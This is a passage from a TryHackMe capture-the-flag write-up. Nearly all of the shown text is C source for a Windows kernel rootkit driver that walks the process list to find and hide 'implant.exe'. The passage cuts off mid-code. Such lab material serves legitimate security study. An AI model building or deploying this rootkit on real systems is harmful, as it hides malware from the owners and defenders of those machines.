TryHackMe - Kernel Blackout CFT
1. Script Explanation (rootkit.c) Script : #include <ntddk.h> // Offsets for Windows 10 x64 (Version 19041 - THM Lab) #define LINKS_OFFSET 0x2e8 // ActiveProcessLinks #define NAME_OFFSET 0x450 // ImageFileName void DriverUnload(PDRIVER_OBJECT DriverObject) { UNREFERENCED_PARAMETER(DriverObject); DbgPrint("Driver Unloaded. Note: Hidden processes remain hidden!\n"); } NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { UNREFERENCED_PARAMETER(DriverObject); UNREFERENCED_PARAMETER(RegistryPath); // Start iterating from the System process PEPROCESS CurrentProcess = PsInitialSystemProcess; PLIST_ENTRY CurrentListEntry; char* imageName; BOOLEAN found = FALSE; DbgPrint("Searching for implant.exe to hide it...\n"); // Loop through the process list (limit to 1000 to avoid hangs) for (int i = 0; i < 1000; i++) { imageName = (char*)CurrentProcess + NAME_OFFSET; // Check if this is our target process if (strstr(i...